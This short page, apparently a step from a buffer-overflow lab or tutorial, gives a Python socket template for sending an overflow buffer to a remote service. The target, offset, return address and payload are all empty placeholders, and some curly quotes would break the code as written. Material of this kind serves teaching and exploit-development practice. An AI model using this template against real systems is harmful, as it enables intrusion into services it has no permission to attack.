Build the Exploit

import socket

rhost = ‘IP’
rport = PORT
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

prefix = b’’
offset = 0
overflow = b'A'*offset
retn = b'' 
payload = b’’
padding = b'’
postfix = b''

buff =  prefix
buff += overflow
buff += retn
#buff += padding
buff += payload
buff += postfix
buff += b'\r\n'

try:
	print(f'connecting....')
	s.connect((rhost,rport))
	print(f'connected, sending overflow; characters: {len(buff)}')
	s.send(buff)
	print('complete')
except Exception as e:
	print(f'Error {e}')

Last updated